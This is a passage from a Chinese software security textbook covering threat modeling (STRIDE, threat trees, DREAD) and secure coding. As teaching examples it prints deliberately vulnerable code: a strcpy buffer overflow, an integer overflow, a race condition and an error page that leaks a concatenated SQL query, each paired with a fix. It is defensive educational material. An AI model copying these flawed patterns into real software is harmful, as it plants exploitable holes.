STRIDE-per-Interaction是识别威胁较为简化的方法，初学者很容易理解。威胁不会凭空出现，它们是在与系统交互的过程中出现的。STRIDE-per-Interaction方法考虑数据元组（源、目的、交互）枚举威胁，以及枚举与其对抗的威胁。STRIDE-per-Interaction和STRIDE-per-Element方法会引出一样多的威胁，但是利用这种方法可以更好地理解威胁。表3-6展示了使用STRIDE-per-Interaction方法显示威胁的适用性。

表3-6　STRIDE-per-Interaction：威胁的适用性
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2.建立威胁树

使用STRIDE对威胁分类后，可以使用威胁树分析程序中的威胁和漏洞。硬件领域常用“故障树”识别可能存在的故障模式，同样的方法也适用于描述软件安全问题。威胁树起源于故障树，采用树形结构描述系统面临的威胁。用根节点表示系统所面临威胁的抽象描述，逐层细化威胁的细节信息，直到用叶节点表示具体攻击方式。威胁树描述了攻击者破坏各组件所经历的决策过程。

3.威胁评估

建立威胁树后，就可以对威胁进行量化评估，评定其严重程度，可以使用DREAD方法来完成。DREAD是Damage potential（潜在破坏性）、Reproducibility（再现性）、Exploitability（可利用性）、Affected users（受影响用户）和Discoverability（可发现性）的首字母缩写，分别从五个方面描述威胁的危害程度，每个方面危害程度的评分范围是1~10，10表示威胁造成的危害程度最大。

潜在破坏性即衡量威胁可能造成的实际破坏程度，如10可以表示攻击者可能绕开所有安全限制，实际上能做任何事情；7~8表示攻击者能读取机密数据；6表示攻击者能使服务器暂时不可用。

再现性用来衡量将威胁变为攻击的难易程度，高再现性对多数攻击来说都是很重要的。例如，默认安装特性中存在的安全缺陷具有很高的再现性，总是起作用，可以评定为10，而其他较为复杂的漏洞，可能只会偶尔起作用，存在不可预测性，可以评定为1~9。

可利用性指的是进行一次攻击需要的努力和专业知识。如果一个普通用户使用一台家庭计算机就能实施攻击，可以评定为10。如果需要动用大量人力物力才能进行一次攻击，那么可利用性评为1。

受影响用户指如果威胁被利用并成功攻击，有多少用户会受到影响，10指所有用户都会受到影响，1~9表示受影响用户的百分比。

可发现性指漏洞被发现的概率，根据漏洞发现情况评定为1~10。

依据公式“风险=受攻击概率*危害程度”，可以计算出五个风险值，然后对五个风险值求平均数，平均数越大，则威胁对系统造成的风险就越大。假设受攻击概率为100%，最高风险值是10。


3.4.3　缓解威胁

识别威胁后，就可以对已经暴露的威胁进行缓解。不同风险等级的威胁可以采取不同处理策略：低风险安全威胁，可以保持现状；潜在的用户危险操作，要及时提醒；可以缓解的威胁，要采取加密、认证等技术缓解措施；风险过高并且难以实施缓解措施的威胁，可以考虑删除/关闭相应功能。

1.确立缓解顺序

威胁的缓解顺序在整体设计上要有条理性和层次性。例如，对闯入家里进行威胁建模，考虑窗户是受攻击面，那么威胁包括打破窗户进入和打开窗户进入的人。打破窗户可以通过使用强化玻璃来阻止，这就是一阶缓解措施；打破玻璃威胁也可以通过警报来解决，这就是二阶防御措施。如果切掉电源，警报失效，为了解决这个三阶威胁，系统设计人员可以添加更多的防御措施，例如，警报包含剪断电源警报，防御者可以添加电池、手机或者其他无线设备。

虽然具体威胁所采用的缓解措施截然不同，但是一定要有全面的缓解措施，因为一旦底层的措施出现纰漏，无论高层措施多么完善，攻击者依然可以以很低成本进行攻击。

2.常用缓解方法

不同安全威胁需要采用不同的技术缓解方法，如表3-7所示。这里介绍几种常用的缓解方法，包括认证、授权、防篡改和增强保密性的技术。在建模、识别及缓解威胁的过程中，必须记录每一个操作的详细信息，以便于理解和管理。

表3-7　针对STRIDE威胁的缓解方案
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（1）认证

认证方式较多，如Kerberos v5认证、X.509证书认证等。操作系统中一般内置了一些认证方式，如Windows认证、NTLM（NT LAN Manager，NT网络管理器）认证等。

（2）授权

一旦通过认证确定了主体的身份，主体通常会访问系统资源，如打印机和文件等。授权通过执行访问检查，判断主体是否有权访问其请求的资源。如：Windows操作系统提供的授权机制有ACL（Access Control List，访问控制列表）、特权管理、IP限制、服务专用权限。

·ACL：一个ACL由一系列访问控制项（Access Control Entry，ACE）组成，每一个ACE决定一个主体能够对某个资源完成什么操作。

·特权管理：特权是赋予用户的权利，用户可以执行允许范围内的操作，某些特许操作只授权给信任的个人，如调试应用程序、备份文件、远程关闭计算机。

·IP限制：IP限制是IIS的一个功能，作用是限制用户对Web网站的访问范围，例如，可以指定某个IP地址、子网或DNS访问Web网站的一个虚拟目录或一个目录。

·服务专用权限：许多服务使用其特有的访问控制形式来保护自己专有对象类型，例如，Microsoft SQL Server提供了权限，管理员可以决定谁有权访问哪一个表、存储过程和视图。

（3）防篡改和增强保密性

·许多网络协议和操作系统具有抗篡改的数据保密功能，如：SSL/TLS、IPSec，以及Windows中的EFS、DCOM和RPC等。

·SSL/TLS：SSL（传输层安全协议）是由Netscape在20世纪90年代中期发明的，该协议能为服务器和客户机之间传输的数据提供加密和数据完整性服务。TLS则是IETF（Internet Engineering Task Force，Internet工程任务组）认可的SSL版本。

·IPSec：IPSec（Internet协议安全性）在TCP/IP网络的IP层实现数据的认证、加密，以及完整性保护。

·EFS：EFS（Encrypting File System，加密文件系统）包含在Windows 2000及以后版本的操作系统中，提供基于文件的数据加密及防篡改检查。


3.4.4　验证

验证是为了确保威胁模型准确反映应用程序的潜在安全问题，验证的内容包括威胁模型、列举的威胁、缓解措施和假设等。

验证威胁是说明列举出的威胁如何进行攻击，攻击的内容及影响。如果验证威胁出现问题，说明威胁没有被正确识别，可能需要重新建模。此外，还要分析威胁列举是否全面，如与可信边界接触的元素都可能被污染，这些元素都应该考虑STRIDE威胁。如果建模时得到的威胁不够全面，需要进一步补充。

验证缓解措施是指检验缓解措施能否有效降低威胁影响，是否正确实施，每个威胁是否都有相应缓解措施。一旦措施无效，或者低效，必须重新选择缓解方法。如果没有正确实施，应该发出警告，确保缓解措施的有效性。危害较为严重的威胁都要有缓解措施，以减少危害程度。

验证假设是为了判断假设是否正确，只有假设合理，才能保证在假设条件下进行的操作是合理的。

参考资料

［1］Robert C Seacord.C安全编码标准［M］.徐波，等译.北京：机械工业出版社，2010.

［2］Robert C Seacord.C和C++安全编码［M］.荣耀，罗翼，译.北京：机械工业出版社，2010.

［3］Tricia Ballad，William Ballad.PHP应用程序安全编程［M］.姜燕梅，罗云峰，武欣，等译.北京：机械工业出版社，2010.

［4］郭克华.软件安全实现——安全编程技术［M］.北京：清华大学出版社，2010.

［5］Michael Howard，David LeBlanc，John Viega.软件安全的24宗罪——编程缺陷与修复之道［M］.董艳，包战，程文俊，译.北京：清华大学出版社，2010.

［6］王文君，李建蒙.Web应用安全威胁与防治——基于OWASP Top 10与ESAPI［M］.北京：电子工业出版社，2013.

［7］吴翰清.白帽子讲Web安全［M］.北京：电子工业出版社，2012.

［8］Jo Joel Scambray，Vincent Lill Caleb Sima.黑客大曝光——Web应用程序安全［M］.姚军，等译.北京：机械工业出版社，2011.

［9］Shoo Hanis，Allen Harper，Chris Eagle，等.灰帽攻击安全手册——渗透测试与漏洞分析技术［M］.郭旭，译.北京：清华大学出版社，2007.

［10］任伟.软件安全［M］.北京：国防工业出版社，2010.

［11］Jurjens J.UML安全系统开发［M］.沈晴霓，译。北京：清华大学出版社，2009.

［12］陈峰，李伟华，房鼎益，等.集成安全分析的模型驱动软件开发方法研究［J］.计算机科学，2009，36（11）：165-168.

［13］Yi Deng，Jiacun Wang，Jeffrey J.P.Tsai，et al.An Approach for Modeling and Analysis of Security System Architectures［J］.IEEE TRANSACTIONS ON KNOWLEDGE AND DATA ENGINEERING，2003，15（5）：1099-119.

［14］曹科强，顾庆，任颖新，等.服务组合中基于DTMC的可靠性和性能分析［J］.计算机科学，2009，36（10）：179-192.

［15］刘长林，张广全，黄静.一种基于ACME的面向方面软件体系结构设计方法［J］.苏州大学学报：工科版，2011，31（2）：6-13

［16］丁雪芳，张锐.一种基于场景的轻量级软件架构分析方法［J］.西安科技大学学报，2011，31（5）：636-641.

［17］易锦，郭涛，马丁，软件架构安全性分析方法综述，［C］//第二届信息安全漏洞分析与风险评估大会（VARA09）论文集.北京：中国信息安全测评中心，2009：306-315.

［18］Joshua Pauli，Dianxiang Xu，Misuse Case-Based Design and Analysis of Secure Software Architecture［C］//Proceeding of the International Conference on Infor-mation Technology：Coding and computing（ITCC’05），2005，Volume II-Volume02：398-403.

［19］John McDermott，Chris Fox，Using Abuse Case Models for Security Requirements Analysis，［C］//15th Annual Computer Security Applications Conference（ACSAC’99）1999：55-65.

［20］何可，李晓红，冯志勇.面向对象的威胁建模方法［J］.计算机工程，2011，37（4）：21-26.

［21］HE Ke，LI Xiaohong，FENG ZhiYong.The Threat of Object-oriented Modeling Method［J］.Computer Engineering，2011，33（4）：21-26.（in Chinese）.


第4章　安全编码

软件开发中，编码阶段将软件设计的结果转换成计算机可运行的程序代码，编码阶段直接决定软件系统的实现质量。统计数据显示，编码缺陷是导致软件漏洞的最主要原因之一。因此，开发人员也需要了解掌握一系列安全开发相关知识。本章首先介绍常见漏洞库和相应的漏洞分类方法，随后给出一些通用的安全编码准则，最后分类介绍在开发中常见的漏洞原理以及如何避免这些漏洞。


4.1　软件漏洞含义及分类

安全漏洞是信息系统存在的缺陷，恶意代码利用安全漏洞侵入系统。20世纪七十至八十年代，早期黑客的出现和第一个计算机病毒的产生，使软件漏洞逐渐引起人们的关注。

软件在需求、设计、编码、部署或维护等阶段中，都有可能产生漏洞，尤其是在编码阶段，由于编程语言和编程逻辑的复杂性，开发者有意或无意中很有可能留下安全问题，形成代码缺陷。安全编码的目的是为了尽可能减少软件漏洞。

安全漏洞是信息安全的核心问题，对安全漏洞的研究、管理和控制分类十分重要。好的漏洞管理和分类方法，不仅可以实现漏洞及其相关信息的分类统计，方便用户查询，还可以让程序员了解编程开发过程中应注意的问题和对应的解决办法，从而在编程实践中避免产生类似的问题。

1.中国国家信息安全漏洞库

中国国家信息安全漏洞库（China National Vulnerability Database of Information Security，CNNVD）是由中国信息安全测评中心负责建设和运维的国家级信息安全漏洞库。目前，CNNVD数据库包含了信息技术代码、产品、系统、人员和服务商等17种数据。CNNVD根据漏洞形成的原因，将漏洞分为22种类型，包括：代码注入、缓冲区溢出、跨站脚本、权限许可和访问控制、配置错误、路径遍历、数字错误、SQL注入、输入验证、授权问题、跨站请求伪造、资源管理错误、信任管理、加密问题、信息泄露、竞争条件、后置链接、格式化字符串、操作系统命令注入，设计错误和资料不足和其他。

2.国家信息安全漏洞共享平台

国家信息安全漏洞共享平台（CNVD）是由国家互联网应急中心联合国家信息技术安全研究中心发起，由国内信息安全漏洞研究机构、厂商、多家重要信息系统单位、电信运营企业、互联网企业和软件厂商共同成立的漏洞库共建共享组织。CNVD将漏洞分为：输入验证错误、访问验证错误、意外情况处理错误、边界条件错误、配置错误、竞争条件、环境错误、设计错误、缓冲区错误、其他错误和未知错误等。

3.美国国家漏洞数据库

美国国家漏洞数据库（National Vulnerability Database，NVD）是由美国国家标准技术研究院（NIST）负责技术开发和运维管理的。该漏洞库提供了漏洞类型、严重程度、危害等级、软件名称、版本号以及漏洞历史等相关统计信息。

NVD将漏洞主要分为代码注入、缓冲错误、跨站脚本、权限许可和访问控制、配置、路径遍历、数字错误、SQL注入、输入验证、授权问题、跨站请求伪造、资源管理错误、信任管理、加密问题、信息泄露、竞争条件、后置链接、格式化字符串、操作系统命令注入、设计错误和资料不足等。

4.“七界”分类法

Katrina Tsipenyuk、Brain Chess和Gary McGraw提出了软件编程的“七种有害领域”，也称“七界”分类。“七界”分类法将软件漏洞分成七类：输入验证与表示、API误用、安全特性、时间与状态、错误处理、代码质量、环境和封装。每一类又分为若干小类，如其中的输入认证与表示又可以细分为：缓冲区溢出、命令注入、跨站脚本、格式化字符串、HTTP应答截断、非法指针值、整数溢出、目录遍历、进程控制、资源注入、配置操控、SQL注入、字符串结束错误和未验证的返回值；误用API又细分为目录限制、堆检查、认证误用、异常处理误用、路径操纵误用、权限管理误用和字符串操纵等小类。

5.Web应用漏洞Top 10

开放Web应用安全项目（The Open Web Application Security Project，OWASP）专门对Web领域出现的漏洞进行研究和分类，其每隔三年提出一个“Web应用漏洞前10名（Top 10）”的列表，是Web安全开发需要参考的重要资料之一。该列表总结了Web应用程序最可能、最常见、最危险的十大安全隐患，以帮助IT公司和开发团队来规范应用程序开发流程和测试流程，并提高Web产品的安全性。

2013年，OWASP发布的Web应用漏洞前十名为：注入、失效的身份认证和会话管理、跨站脚本（XSS）、不安全的直接对象引用、安全配置错误、敏感信息泄露、功能级访问控制缺失、跨站请求伪造（CSRF）、使用含有已知漏洞的组件、未验证的重定向和转发。


4.2　软件安全编码原则

软件的健壮与安全在很大程度上决定了该软件的生命力和影响力，而构建安全软件的最佳途径是在程序分析、开发、测试阶段增加安全考虑。在做好安全软件开发的准备之后，开发团队还应当清楚下面这些安全编码的基本原则，这是开发任何健壮、安全软件的重要基础。针对软件安全编码，国际国内很多组织、机构、公司和信息安全专家各自提出了一些编码原则，以保证得到安全的代码。常见的安全编码原则包括以下内容。

（1）规范编码

在程序编码中必须要制定统一，符合标准的编写规范，以保证程序的可读性，易维护性，提高程序的运行效率。安全专家发现，多数漏洞很容易通过使用一些规范编码的方法来避免，比如对代码进行规范缩进显示，可以有效避免出现遗漏错误分支处理的情况。

就软件安全编码而言，一些安全组织和企业已经公开了一些编码标准和规范，可以供软件开发团队参考，如CERT发布的有关C、C++、Java等语言的著名安全编码标准，OWASP也发布了《OWASP安全编码规范快速参考指南》。同时，一些企业和安全专家撰写的一些安全编码书籍，也提出了不少有益的安全编码原则和规范参考。

（2）代码简洁

要尽量使程序短小精悍，代码中每个函数应该具有明确的功能，在编写函数代码时，应在保持功能完整实现的前提下控制该函数内代码量的多少。因为复杂的实现更容易增加代码中的错误。程序越复杂，就需要越复杂的控制。如碰到较为复杂的功能，应将该功能分解为更小、更简单的功能，确保软件仅包含所要求或规定的功能，缩短并简化代码。

（3）处理警告

通常，开发团队可选择实施实现了安全特性的编译器来改善安全性。在代码开发过程中，应当在最大程度上启用编译器的警告和错误。开发者不仅要处理和解决代码中的错误，而且也应处理和解决所有碰到的警告，确保不将任何一个警告带入到程序的最终编译版本中。

（4）验证输入

开发者在开发程序时必须验证来自所有不可信数据源的输入。几乎大部分攻击都是通过设计“精心的输入”开始的，如果程序不能正确处理这些“输入”，就有可能运行到“攻击者指定的代码”中。合适的输入验证可以清除很多软件漏洞。因此，开发者在开发程序时，必须对外部的数据源抱着怀疑和不信任的态度，其中包括命令行参数、网络接口、环境变量、用户控制的文件等。

（5）净化数据

所谓“净化”是指检查在程序组件中要传递的数据，尤其是将恶意数据和不必要的数据清除干净。比如在利用用户输入的数据来组织SQL数据库操作语句时，应当检查和清除用户数据中可能存在的恶意字符，以防止攻击者使用SQL注入命令来攻击系统。净化数据和输入验证的区别在于，有些数据仅在使用时才能进行净化处理，并不适合输入时就进行安全检查。

（6）最少反馈

最少反馈是指在程序内部处理时，尽量将最少的信息反馈到运行界面，即避免给不可靠用户过多的可利用信息，防止其据此猜测软件程序的运行处理过程。最少反馈可以用在成功执行的流程中，也可以用在发生错误执行的流程中。典型的例子如用户名和口令认证程序，不管是用户名输入错误还是口令输入错误，认证端都只反馈统一的“用户名/口令错误”，而不是分别告知“用户名错误”或“口令错误”，这样可以避免攻击者根据输入正确的用户名或口令来猜测未知口令或用户名。当然，软件程序的跟踪检查日志可以记录较为详细的程序运行信息，这些信息只允许有权限的人员查看。

（7）检查返回

当调用的组件函数返回时，应当对返回值进行检查，确保所调用的函数“正确”处理，结果“正确”返回。这里的正确是指被调用的组件函数按照规定的流程和路径运行完成，其中包括成功的执行路径，也可能包括错误的处理路径。当组件函数调用成功时应当检查返回值，确保组件按照期望处理，并且返回结果符合预期，如执行read（2）时所读取的字节数可能少于所请求的字节数；当组件函数调用错误时应当检查返回值和错误码，以得到更多的错误信息。

（8）加强检查

良好的代码检查可以有效地发现和确认漏洞，它被认为是在整个项目中最具效率的漏洞查找方式。有安全研究人员提出，良好的检查可以查出程序中60%~90%的漏洞。独立的安全检查可以使系统更安全，也有助于确认和纠正一些错误的设想和实现方式。对代码进行安全检查的方法可以通过人工检查的方式进行，也可以通过工具审核的方式进行。相比人工检查，使用源代码审核工具自动化执行代码检查和分析，能够极大地提高软件可靠性并节省软件开发和测试的成本。

（9）安全编译

即使“聪明的”编码人员也可能因为经验不足而犯下安全错误。除了要求编码人员提高程序质量之外，还应该使用安全编译技术来提高编码的安全水平。最常用的方法就是采用最新的集成编译环境，并选择使用这些编译环境提供的安全编译选项和安全编译机制来保护软件代码的安全性。如在编译C语言时，增加/GS选项可以增加缓冲区的安全检查，在Visual Studio 2008及以上版本中，该选项是默认打开的。


4.3　安全编程基础

4.3.1　防范缓冲区溢出

缓冲区溢出是一种非常普遍的危险漏洞，在各种操作系统、应用软件中广泛存在。多个著名的漏洞攻击事件都与缓冲区溢出相关，轰动一时的“莫里斯”蠕虫就是利用的缓冲区溢出漏洞。

缓冲区溢出是指当计算机程序向缓冲区内填充数据时超过了缓冲区本身的容量而产生溢出，导致程序运行异常。当软件程序对输入数据长度检查不够，并且允许超过长度的数据存储到缓冲区中，就会导致缓冲区溢出发生。某些情况下，溢出的数据只是覆盖在一些不太重要的内存空间上，不会产生严重后果；但是一旦溢出的数据覆盖在合法数据上，就有可能会给系统带来巨大的危害。尤其是攻击者经过精心构造数据后，可以让缓冲区溢出后程序运行到指定的代码处，从而达到控制或破坏系统程序的目的。代码清单4-1展示了缓冲区溢出的形成原因。

代码清单4-1　缓冲区溢出示例



void function(char *input){
    char buffer[16];
    strcpy(buffer,input);
}




在代码清单4-1中，strcpy（）直接将input中的内容copy到buffer中。只要input的长度大于16，就会造成buffer的溢出。这里导致缓冲区溢出的主要原因是strcpy函数没有检查输入数据的长度。

缓冲区溢出可以导致的后果包括：

·程序运行失败。

·系统宕机，重新启动。

·攻击者可能利用它执行非授权命令，获取系统特权，进而执行各种非法操作。

防范缓冲区溢出主要有以下四种方法。

（1）避免使用危险函数

C语言库中每一个不带有长度参数的串操作函数，都有与其对应的带有长度参数的函数，应该尽可能地使用这些“更安全”的函数，或者使用自己封装的安全函数，也可以使用其他安全函数库提供的安全函数。

（2）检查数据长度

要在本地应用程序上验证所有的用户输入，首先要确保输入字符串的长度是有效的。假设程序设计的是接受50个文本字符的输入，并将它们添加到数据库里。如果用户输入75个字符，那么输入就超出了数据库可以容纳的字符，程序将进入非正常运行状态。因此，用户的输入应该这样设计：在用户输入文本字符串时，先将该字符串的长度同最大允许长度进行比较，拦截超过允许最大长度的输入字符串。

（3）使用安全函数或函数库

不使用C或C++语言中存在缓冲区溢出问题的函数，改用一些更安全的函数，如使用strcpy_s（）代替strcpy（）。此外，也可以使用一些知名的底层库来代替使用C/C++语言提供的基础库，如采用Libmib、libsafe等，这些库提供了一些更为安全的基础函数。

（4）其他防范措施

使用栈保护方法也可以在一定程度上防御缓冲区溢出。微软Visual Studio中通过/GS编译开关实现了栈保护技术。非执行堆栈技术也能够对攻击起到较好的防御作用，会对应用程序的兼容性产生一定影响，Solar Designer的non-exec补丁（由OpenWall使用）和exec shield（由Red Hat/Fedora使用）都是实现的这种技术。


4.3.2　防范整数溢出

当一个整数值大于或者小于其范围时，就会产生整数溢出。因为所有内置整数类型（如char，short，int，long等）都使用某个固定长度的内存空间来装载和表示，所以其表示范围有限。当值超出最大或最小范围时，就会“回绕”。比如，一个非常大的整数会变成一个负数。以某段电子商务处理代码为例来说明整数溢出现象，代码清单4-2中会读取购买商品的数量，然后根据单价来计算总价。

代码清单4-2　整数溢出示例



String numStr = request.getParamter("num");
int numInt = Integer.parseInt(numStr);
if(numInt > 0){
    int total = numInt * 100;
}




上面代码中，每个商品价值100元。如果攻击者提供一个足够大的商品数量，例如42949671。这个数乘以100后就超过了带符号的32位整数所表示的范围，程序运行结果会将总价计算为-196。这显然是错误的。

避免整数溢出的最好方法是，检验所有的整数输入是否都位于上下界范围内。上下界的选择应当使得任何后续计算结果都不会超出所使用变量的容量限制。


4.3.3　处理竞争条件

进程是程序在计算机上的一次执行活动，运行一个程序就相当于启动了一个进程。线程是进程中的一个实体，是被系统独立调度和分派的基本单位，同一进程中可以有多个线程。线程只拥有运行时必不可少的资源（如程序计数器、一组寄存器和栈），但是它可与同属一个进程的其他线程共享进程所拥有的全部资源。一个线程可以创建和撤销另一个线程，同一个进程中的多个线程之间可以并发执行。

处理线程或者进程时经常面临竞争条件问题，即当多个进程或者线程读写数据时，数据的处理结果依赖于多个进程的指令实际执行顺序，如果代码编写不当，有可能造成每次运行程序得到不同的结果，甚至每次运行结果都不正确。假设有两个进程P1和P2共享了变量a。按照代码逻辑，在某一时刻，P1更新a为1，在另一时刻，P2更新a为2。这里，进程P1和P2就是竞争地写变量a，而变量a的最终值取决于这两个进程的执行先后顺序，是不固定的。

下面通过一段代码实例来演示竞争条件问题及解决方案。代码清单4-3模拟两个线程同时从一个账户中进行取款操作。

代码清单4-3　竞争条件导致处理错误示例



package com.venus;
class GetMoney implements Runnable{
    private int money = 300; // 初始余额为

300
    public void run(){
        for(int i=0;i<=5;i++){
            String tName = Thread.currentThread().getName();
            if(money <= 0){
                System.out.println(tName+" 余额不足

");
            }else{
                try {
                    Thread.sleep(1000);
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
                money -= 100;
                System.out.println(tName + "成功取款

100元，账户余额为

"+money+"元

.");
            }
        }
    }
}
public class TestThread {
    public static void main(String[] args) {
        GetMoney getMoney = new GetMoney();
        Thread thread1 = new Thread(getMoney,"线程

1");
        Thread thread2 = new Thread(getMoney,"线程

2");
        thread1.start();
        thread2.start();
    }
}




运行该代码，可能发生图4-1所示的结果。
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图4-1　线程竞争时错误的运行结果示例

图中显示，线程2和线程1几乎同时拿到了账户余额的初始值（300元），然后线程2开始扣款100元，显示账户余额为200元；紧接着线程1也开始扣款流程，但是其扣款是从初始值（300元）开始扣款的，所以再次得出账户余额为200元。这显然是错误的。如果多次运行这个程序，还有可能得到别的结果，比如两个线程的第一次扣款是正确的，但是第二次扣款却因为竞争资源而导致扣款错误。

解决这个问题的方式就是在一个线程操作时，其余的线程不能同时操作这个共享资源（在这个例子中，就是账户余额），包括读取也不行。通用的做法就是给共享资源加锁，并且这把锁只有一把钥匙，线程1操作时，线程2没有钥匙，不能操作共享资源。代码清单4-4是Java代码的解决方案。

代码清单4-4　共享资源加锁解决竞争问题



package com.venus;
class GetMoney implements Runnable{
    private int money = 300; // 初始余额为

300
    public void run(){
        for(int i=0;i<=5;i++){
            String tName = Thread.currentThread().getName();
            synchronized (this) {// 加锁


                if(money <= 0){
                    System.out.println(tName+" 余额不足

");
                }else{
                    try {
                        Thread.sleep(1000);
                    } catch (InterruptedException e) {
                        e.printStackTrace();
                    }
                    money -= 100;
                    System.out.println(tName + "成功取款

100元，账户余额为

"+money+"元

.");
                }
            }            
        }
    }
}
public class TestThread {
    public static void main(String[] args) {
        GetMoney getMoney = new GetMoney();
        Thread thread1 = new Thread(getMoney,"线程

1");
        Thread thread2 = new Thread(getMoney,"线程

2");
        thread1.start();
        thread2.start();
    }
}




这个程序的运行结果如图4-2所示，可以保证账户余额是正确的。
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图4-2　线程竞争时正确的运行结果示例


4.3.4　正确处理异常

软件在实际运行过程中会碰到各种情况，每次运行时操作系统内存分配情况不同，系统资源分配不同，用户输入也存在差异，同时存在的其他进程也不尽相同。在面临这些不同情况时，软件可能会因为某个条件不满足而中断正常处理流程，这就是异常现象。软件应当提供异常安全处理代码，使其能检测出各种异常，并处理各种可能的运行路径，保证程序总能“正确”的运行。

不提供异常处理代码的软件程序可能会在异常发生的时候停止运行，严重的甚至可能引发安全问题。程序中的异常或错误处理是程序编码中常常碰到的问题，不安全的异常处理或错误轻则造成信息泄露，重则可以造成系统宕机、数据丢失。

代码清单4-5所示案例就是由于异常处理不当造成的信息泄露。

代码清单4-5　异常处理不当代码示例



Server Error in '/' Application. 
Invalid object name 'user_acc'. 
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. 
Exception Details: System.Data.SqlClient.SqlException: Invalid object name 'user_acc'.
Source Error: 
Line 135: sqlcmd = new SqlCommand("select uid, password from user_acc where uid='" + uidd + "'", hookup);
Line 136: hookup.Open();
Line 137: reader=sqlcmd.ExecuteReader();
Line 138:
Line 139: while (reader.Read())
Source File: c:\inetpub\vhosts\cactusindia.com\httpdocs\Default.aspx.cs
Line: 137 
Stack Trace: [SqlException (0x80131904): Invalid object name 'user_acc'.]…


Version Information: Microsoft .NET Framework Version:2.0.50727.4952; ASP.NET Version:2.0.50727.4955 




避免类似信息泄露的最简单的方法就是不要把异常信息显示给用户，JavaEE可以通过配置web.xml来解决这个问题。如代码清单4-6所示，异常发生时显示一个固定的错误信息页面，而不是显示每次错误的详细信息。ASP.NET在web.config文件中可以设置customErrors元素的mode属性为On或RemoteOnly，并在defaultRedirect节点中指定一个自定义的错误页面，从而阻止详细的错误信息泄露。Microsoft IIS可以使用“定制错误”选项为不同的HTTP状态码指定自定义的错误页面。Apache可以使用httpd.conf中的errorDocument指令配置自定义错误页面。

代码清单4-6　web.xml编写示例



<error-page>
<exception-type>java.lang.Throwable</exception-type><location>/error.jsp</location>
</error-page>




在处理资源的过程中，也要注意异常处理不当造成的信息泄露。未能释放资源（包括数据库对象、文件句柄和套接字）可能会导致严重的性能问题。这种情况通常是在不正常环境下或系统负荷太重时偶然发生的，所以很难根据生成的错误信息查找到资源泄露的位置。例如Java程序中如果在执行SQL或处理结果时出现了异常，那么stmt对象不能被关闭。假如这种情况经常发生，数据库将耗尽可用的指针，不能执行任何其他的查询。解决方法是在finally模块中调用close（），以保证在各种条件下释放资源。

对用户输入的错误信息处理不当也会造成信息泄露，最常见的案例就是用户登录失败的错误处理。图4-3是典型的用户输入错误处理不当的情形。
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图4-3　错误处理不当示例

上述案例是登录模块中登录失败的错误提示信息，第一条提示显示该用户名不存在，第二条提示显示密码错误，这意味着用户名是存在的，攻击者可由此采用暴力破解的方法来获取该用户名的密码。

最后给出一些通用异常处理的编码建议：

·不要在错误响应中泄露敏感信息，包括系统的详细信息、会话标识符或者账号信息；

·使用错误处理以避免显示调试或堆栈跟踪信息；

·使用通用的错误消息并使用定制的错误页面；

·应用程序应当处理应用程序错误，并且不依赖服务器配置；

·当错误条件发生时，适当清空分配的内存。


4.3.5　防范交互参数安全问题

输入操作是软件和用户之间的交互操作，软件程序和环境变量、用户之间经常需要交互数据，对这些交互数据进行安全检查也是十分必要的，本小节主要讨论传统方式的交互数据，包括环境变量、文件和命令行参数等。Web应用中的SQL注入、XSS等问题将会在Web应用安全一节来详细介绍。


1.环境变量


环境变量是shell中的变量，在shell下运行的软件进程都可以访问和使用环境变量。对于软件开发人员来讲，常常容易认为环境变量是操作系统层面设置的变量，所以是可信的，从而忽视对其的验证。而一旦环境变量作为软件的输入，则有因为长度过长、默认内容被篡改、格式不符、植入恶意字符等原因导致软件进程出现安全问题。

为了保证安全使用环境变量，系统管理员和程序开发员可采取限制环境变量的使用权限、加强对环境变量值的检查等手段。

2.文件

软件进程也常常会获取外部文件名，或者读取文件内容，对于这些文件名和文件内容也应进行检查，因为攻击者有可能利用文件名和文件内容来进行攻击。编程时可以参考以下安全措施。

一是不要信任可以被攻击者设置的文件名。Linux和UNIX允许使用任意字符序列作为文件名，使用一个输入的目录或者接受一个外部提供的文件名时应加以检查，如仔细检查和防止使用以“-”开头的文件名，或者含有“&”等特殊字符的文件名。

二是不要信任可以被不可信用户控制的文件内容，如浏览或编辑由攻击者发送来的文件。有些攻击者可以通过在文件中预先插入特定内容或经过特殊编码字符插入到文件中，而目标用户使用特定软件打开或者编辑该文件时，就可能执行那些恶意代码。

三是避免从当前目录中获得配置信息，因为用户进程可能会浏览一个由攻击者控制的目录，如果攻击者在该目录中创建了一个恶意配置文件，则可能诱导用户进程执行恶意代码。如果必须从当前目录中得到配置信息，就要严格检查其所得到的所有数据。

四是不要让攻击者控制任何临时文件。如果一个用户是可信的，可以将临时目录放在该用户的主目录下，也可以采用其他安全的方法创建和使用临时文件。

3.命令行

软件进程启动时可以接受来自命令行的数据，但是要确保这些数据可信，对于具有setuid/setgid特性的软件进程尤其需要关注。对于软件进程来说，对命令行数据的检查包括参数的数量、格式、长度以及内容等方面。


4.3.6　防范拒绝服务攻击

拒绝服务攻击是一种常见的攻击形式，其目的是使目标应用系统无法提供正常的服务，内存不足、带宽不足、特定资源消耗管理不善等原因都可能引起拒绝服务攻击。

为避免因占用系统过多内存而导致的拒绝服务攻击，除非可以肯定连接的另一端是真实的客户端，否则不要为用户分配较大的内存空间，不要让攻击者轻易实施可导致系统较高开销的操作。

要防范由占用网络带宽资源引起的DoS攻击。在发送错误响应前，应该检查网络请求的有效性，若传输的服务器数据包不是应用系统该处理的，则将其丢弃，应用系统仅对通过系统协议认证的请求作出响应。除了应用层鉴别方法，还可以通过网络层进行初步识别，排除发送到或来自广播网地址或使用保留端口的数据源，以有效阻断这类攻击。

还有一类DoS攻击会消耗某种特定资源，如果应用程序判断处于这类攻击的威胁中，应改变应用程序的行为方式。以微软SYN泛洪保护为例，如果有较多的资源可用，系统能正常工作，如果资源过低，系统将结束一些非活动用户的会话。这种方法要求系统运行时维护一张正常会话客户端列表，也可以将资源配额和超时链接相结合，缓解这类威胁发生的可能。


4.4　Web应用安全编程

4.4.1　防范SQL注入攻击

SQL注入（SQL Injection）攻击是指把恶意SQL命令插入到Web表单递交、输入域名或页面请求的查询字符串中，使服务器执行非授权操作。所有支持SQL语言标准的数据库软件，如Access、SQL Sewer、Oracle、MySQL、DB2等，接收用户输入数据，但没有检查输入的正确性，使用字符串连接或者字符串替换函数来构造SQL查询，或者使用SQL exec命令（或类似的方法）来执行SQL查询，都有可能遭受该攻击。

注入攻击的本质是把用户输入的数据当做代码执行。这里有两个关键条件：第一是用户能够控制输入；第二是程序要执行的代码拼接了用户输入数据。

